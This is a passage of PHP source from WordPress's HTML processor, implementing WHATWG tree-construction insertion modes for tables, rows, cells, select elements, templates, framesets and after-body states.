				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
